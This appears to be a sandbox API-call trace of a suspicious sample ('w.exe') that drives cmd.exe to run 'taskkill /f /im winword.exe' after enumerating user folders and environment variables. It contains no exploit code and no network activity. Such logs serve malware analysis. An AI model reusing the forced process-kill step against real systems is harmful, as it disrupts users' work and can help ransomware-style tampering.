	[0049.231] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x30f3dc | out: lpFindFileData=0x30f3dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x541e88
	[0049.232] FindClose (in: hFindFile=0x541e88 | out: hFindFile=0x541e88) returned 1
	[0049.232] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x30f3dc | out: lpFindFileData=0x30f3dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x541e88
	[0049.232] FindClose (in: hFindFile=0x541e88 | out: hFindFile=0x541e88) returned 1
	[0049.232] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0049.232] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f3dc | out: lpFindFileData=0x30f3dc*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x541e88
	[0049.232] FindClose (in: hFindFile=0x541e88 | out: hFindFile=0x541e88) returned 1
	[0049.232] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0049.232] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0049.232] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0049.232] GetProcessHeap () returned 0x530000
	[0049.232] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x544b80 | out: hHeap=0x530000) returned 1
	[0049.232] GetEnvironmentStringsW () returned 0x544090*
	[0049.232] GetProcessHeap () returned 0x530000
	[0049.232] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xb36) returned 0x545ed0
	[0049.232] FreeEnvironmentStringsW (penv=0x544090) returned 1
	[0049.233] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49dd5260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0049.233] GetProcessHeap () returned 0x530000
	[0049.233] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x545670 | out: hHeap=0x530000) returned 1
	[0049.233] GetProcessHeap () returned 0x530000
	[0049.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400e) returned 0x546a10
	[0049.233] GetProcessHeap () returned 0x530000
	[0049.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4a) returned 0x542d60
	[0049.233] GetProcessHeap () returned 0x530000
	[0049.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x54aa28
	[0049.233] GetProcessHeap () returned 0x530000
	[0049.233] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x4008) returned 0x54ea38
	[0049.235] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0049.235] GetProcessHeap () returned 0x530000
	[0049.235] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x418) returned 0x542db8
	[0049.235] SetErrorMode (uMode=0x0) returned 0x8003
	[0049.235] SetErrorMode (uMode=0x1) returned 0x0
	[0049.235] GetFullPathNameW (in: lpFileName="taskkill \\f \\.", nBufferLength=0x208, lpBuffer=0x542dc0, lpFilePart=0x30f5d8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f", lpFilePart=0x30f5d8*="f") returned 0x31
	[0049.235] SetErrorMode (uMode=0x8003) returned 0x1
	[0049.235] GetProcessHeap () returned 0x530000
	[0049.235] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x542db8, Size=0x8c) returned 0x542db8
	[0049.235] GetProcessHeap () returned 0x530000
	[0049.235] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x542db8) returned 0x8c
	[0049.236] NeedCurrentDirectoryForExePathW (ExeName="taskkill \\f \\.") returned 1
	[0049.236] GetProcessHeap () returned 0x530000
	[0049.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x72) returned 0x552a60
	[0049.236] GetProcessHeap () returned 0x530000
	[0049.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xd8) returned 0x542e50
	[0049.236] GetProcessHeap () returned 0x530000
	[0049.236] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x542e50, Size=0x72) returned 0x542e50
	[0049.236] GetProcessHeap () returned 0x530000
	[0049.236] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x542e50) returned 0x72
	[0049.236] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.236] GetProcessHeap () returned 0x530000
	[0049.236] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe0) returned 0x542ed0
	[0049.239] GetProcessHeap () returned 0x530000
	[0049.239] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x542ed0, Size=0x76) returned 0x542ed0
	[0049.239] GetProcessHeap () returned 0x530000
	[0049.239] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x542ed0) returned 0x76
	[0049.240] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.240] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill \\f\\im winword.exe ", fInfoLevelId=0x1, lpFindFileData=0x30f374, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30f374) returned 0xffffffff
	[0049.240] GetLastError () returned 0x3
	[0049.240] GetProcessHeap () returned 0x530000
	[0049.240] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54aa28 | out: hHeap=0x530000) returned 1
	[0049.240] GetProcessHeap () returned 0x530000
	[0049.240] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x54ea38 | out: hHeap=0x530000) returned 1
	[0049.240] GetProcessHeap () returned 0x530000
	[0049.240] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a10 | out: hHeap=0x530000) returned 1
	[0049.240] GetConsoleOutputCP () returned 0x1b5
	[0049.240] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49dd4260 | out: lpCPInfo=0x49dd4260) returned 1
	[0049.240] GetUserDefaultLCID () returned 0x409
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49dd4950, cchData=8 | out: lpLCData=":") returned 2
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f7a0, cchData=128 | out: lpLCData="0") returned 2
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f7a0, cchData=128 | out: lpLCData="0") returned 2
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f7a0, cchData=128 | out: lpLCData="1") returned 2
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49dd4940, cchData=8 | out: lpLCData="/") returned 2
	[0049.241] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49dd4d80, cchData=32 | out: lpLCData="Mon") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49dd4d40, cchData=32 | out: lpLCData="Tue") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49dd4d00, cchData=32 | out: lpLCData="Wed") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49dd4cc0, cchData=32 | out: lpLCData="Thu") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49dd4c80, cchData=32 | out: lpLCData="Fri") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49dd4c40, cchData=32 | out: lpLCData="Sat") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49dd4c00, cchData=32 | out: lpLCData="Sun") returned 4
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49dd4930, cchData=8 | out: lpLCData=".") returned 2
	[0049.242] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49dd4920, cchData=8 | out: lpLCData=",") returned 2
	[0049.242] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0049.243] GetProcessHeap () returned 0x530000
	[0049.243] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x20c) returned 0x542f50
	[0049.243] GetConsoleTitleW (in: lpConsoleTitle=0x542f50, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.243] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000
	[0049.243] GetProcAddress (hModule=0x76c20000, lpProcName="CopyFileExW") returned 0x76c53b92
	[0049.243] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d
	[0049.243] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleInputExeNameW") returned 0x76c4a79d
	[0049.244] GetProcessHeap () returned 0x530000
	[0049.244] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x400a) returned 0x546a10
	[0049.244] GetProcessHeap () returned 0x530000
	[0049.244] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x546a10 | out: hHeap=0x530000) returned 1
	[0049.244] _wcsicmp (_String1="taskkill", _String2=")") returned 75
	[0049.244] _wcsicmp (_String1="FOR", _String2="taskkill") returned -14
	[0049.245] _wcsicmp (_String1="FOR/?", _String2="taskkill") returned -14
	[0049.245] _wcsicmp (_String1="IF", _String2="taskkill") returned -11
	[0049.245] _wcsicmp (_String1="IF/?", _String2="taskkill") returned -11
	[0049.245] _wcsicmp (_String1="REM", _String2="taskkill") returned -2
	[0049.245] _wcsicmp (_String1="REM/?", _String2="taskkill") returned -2
	[0049.245] GetProcessHeap () returned 0x530000
	[0049.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x58) returned 0x543168
	[0049.245] GetProcessHeap () returned 0x530000
	[0049.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x1a) returned 0x545710
	[0049.245] GetProcessHeap () returned 0x530000
	[0049.245] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x32) returned 0x5431c8
	[0049.246] GetConsoleTitleW (in: lpConsoleTitle=0x30f498, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.246] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0049.246] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0049.246] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0049.246] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0049.246] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0049.246] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0049.246] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0049.247] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0049.247] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0049.247] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0049.247] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0049.247] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0049.247] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0049.247] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0049.247] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0049.247] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0049.247] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0049.247] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0049.247] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0049.247] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0049.247] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0049.247] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0049.247] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0049.247] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0049.247] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0049.247] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0049.247] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0049.247] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0049.247] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0049.247] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0049.247] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0049.247] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0049.247] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0049.247] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0049.248] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0049.248] _wcsicmp (_String1="taskkill", _String2="DIR") returned 16
	[0049.248] _wcsicmp (_String1="taskkill", _String2="ERASE") returned 15
	[0049.248] _wcsicmp (_String1="taskkill", _String2="DEL") returned 16
	[0049.248] _wcsicmp (_String1="taskkill", _String2="TYPE") returned -24
	[0049.248] _wcsicmp (_String1="taskkill", _String2="COPY") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="CD") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="CHDIR") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="RENAME") returned 2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="REN") returned 2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="ECHO") returned 15
	[0049.248] _wcsicmp (_String1="taskkill", _String2="SET") returned 1
	[0049.248] _wcsicmp (_String1="taskkill", _String2="PAUSE") returned 4
	[0049.248] _wcsicmp (_String1="taskkill", _String2="DATE") returned 16
	[0049.248] _wcsicmp (_String1="taskkill", _String2="TIME") returned -8
	[0049.248] _wcsicmp (_String1="taskkill", _String2="PROMPT") returned 4
	[0049.248] _wcsicmp (_String1="taskkill", _String2="MD") returned 7
	[0049.248] _wcsicmp (_String1="taskkill", _String2="MKDIR") returned 7
	[0049.248] _wcsicmp (_String1="taskkill", _String2="RD") returned 2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="RMDIR") returned 2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="PATH") returned 4
	[0049.248] _wcsicmp (_String1="taskkill", _String2="GOTO") returned 13
	[0049.248] _wcsicmp (_String1="taskkill", _String2="SHIFT") returned 1
	[0049.248] _wcsicmp (_String1="taskkill", _String2="CLS") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="CALL") returned 17
	[0049.248] _wcsicmp (_String1="taskkill", _String2="VERIFY") returned -2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="VER") returned -2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="VOL") returned -2
	[0049.248] _wcsicmp (_String1="taskkill", _String2="EXIT") returned 15
	[0049.248] _wcsicmp (_String1="taskkill", _String2="SETLOCAL") returned 1
	[0049.248] _wcsicmp (_String1="taskkill", _String2="ENDLOCAL") returned 15
	[0049.249] _wcsicmp (_String1="taskkill", _String2="TITLE") returned -8
	[0049.249] _wcsicmp (_String1="taskkill", _String2="START") returned 1
	[0049.249] _wcsicmp (_String1="taskkill", _String2="DPATH") returned 16
	[0049.249] _wcsicmp (_String1="taskkill", _String2="KEYS") returned 9
	[0049.249] _wcsicmp (_String1="taskkill", _String2="MOVE") returned 7
	[0049.249] _wcsicmp (_String1="taskkill", _String2="PUSHD") returned 4
	[0049.249] _wcsicmp (_String1="taskkill", _String2="POPD") returned 4
	[0049.249] _wcsicmp (_String1="taskkill", _String2="ASSOC") returned 19
	[0049.249] _wcsicmp (_String1="taskkill", _String2="FTYPE") returned 14
	[0049.249] _wcsicmp (_String1="taskkill", _String2="BREAK") returned 18
	[0049.249] _wcsicmp (_String1="taskkill", _String2="COLOR") returned 17
	[0049.249] _wcsicmp (_String1="taskkill", _String2="MKLINK") returned 7
	[0049.249] _wcsicmp (_String1="taskkill", _String2="FOR") returned 14
	[0049.249] _wcsicmp (_String1="taskkill", _String2="IF") returned 11
	[0049.249] _wcsicmp (_String1="taskkill", _String2="REM") returned 2
	[0049.249] GetProcessHeap () returned 0x530000
	[0049.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x210) returned 0x543208
	[0049.249] GetProcessHeap () returned 0x530000
	[0049.249] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x44) returned 0x543420
	[0049.249] _wcsnicmp (_String1="task", _String2="cmd ", _MaxCount=0x4) returned 17
	[0049.250] GetProcessHeap () returned 0x530000
	[0049.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x418) returned 0x5307f0
	[0049.250] SetErrorMode (uMode=0x0) returned 0x8003
	[0049.250] SetErrorMode (uMode=0x1) returned 0x0
	[0049.250] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5307f8, lpFilePart=0x30efb8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x30efb8*="Desktop") returned 0x25
	[0049.250] SetErrorMode (uMode=0x8003) returned 0x1
	[0049.250] GetProcessHeap () returned 0x530000
	[0049.250] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x5307f0, Size=0x66) returned 0x5307f0
	[0049.250] GetProcessHeap () returned 0x530000
	[0049.250] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x5307f0) returned 0x66
	[0049.250] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0049.250] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1
	[0049.250] GetProcessHeap () returned 0x530000
	[0049.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x120) returned 0x543470
	[0049.250] GetProcessHeap () returned 0x530000
	[0049.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x238) returned 0x530860
	[0049.252] GetProcessHeap () returned 0x530000
	[0049.252] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x530860, Size=0x122) returned 0x530860
	[0049.252] GetProcessHeap () returned 0x530000
	[0049.252] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x530860) returned 0x122
	[0049.252] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49de0640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0049.252] GetProcessHeap () returned 0x530000
	[0049.252] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0xe0) returned 0x530990
	[0049.252] GetProcessHeap () returned 0x530000
	[0049.252] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x530990, Size=0x76) returned 0x530990
	[0049.252] GetProcessHeap () returned 0x530000
	[0049.252] RtlSizeHeap (HeapHandle=0x530000, Flags=0x0, MemoryPointer=0x530990) returned 0x76
	[0049.252] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.252] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed34) returned 0xffffffff
	[0049.253] GetLastError () returned 0x2
	[0049.253] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\taskkill", fInfoLevelId=0x1, lpFindFileData=0x30ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed34) returned 0xffffffff
	[0049.253] GetLastError () returned 0x2
	[0049.253] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3
	[0049.253] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.*", fInfoLevelId=0x1, lpFindFileData=0x30ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed34) returned 0x530a10
	[0049.253] GetProcessHeap () returned 0x530000
	[0049.253] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x14) returned 0x543598
	[0049.253] FindClose (in: hFindFile=0x530a10 | out: hFindFile=0x530a10) returned 1
	[0049.253] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.COM", fInfoLevelId=0x1, lpFindFileData=0x30ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed34) returned 0xffffffff
	[0049.253] GetLastError () returned 0x2
	[0049.253] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\taskkill.EXE", fInfoLevelId=0x1, lpFindFileData=0x30ed34, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x30ed34) returned 0x530a10
	[0049.253] GetProcessHeap () returned 0x530000
	[0049.254] RtlReAllocateHeap (Heap=0x530000, Flags=0x0, Ptr=0x543598, Size=0x4) returned 0x543598
	[0049.254] FindClose (in: hFindFile=0x530a10 | out: hFindFile=0x530a10) returned 1
	[0049.254] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3
	[0049.254] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2
	[0049.254] GetConsoleTitleW (in: lpConsoleTitle=0x30f22c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\w.exe") returned 0x2b
	[0049.254] InitializeProcThreadAttributeList (in: lpAttributeList=0x30f0b4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x30f17c | out: lpAttributeList=0x30f0b4, lpSize=0x30f17c) returned 1
	[0049.254] UpdateProcThreadAttribute (in: lpAttributeList=0x30f0b4, dwFlags=0x0, Attribute=0x60001, lpValue=0x30f174, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x30f0b4, lpPreviousValue=0x0) returned 1
	[0049.254] GetStartupInfoW (in: lpStartupInfo=0x30f070 | out: lpStartupInfo=0x30f070*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xac, hStdOutput=0xb8, hStdError=0xbc)) 
	[0049.254] GetProcessHeap () returned 0x530000
	[0049.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x8, Size=0x18) returned 0x530a10
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11
	[0049.254] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18
	[0049.255] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18
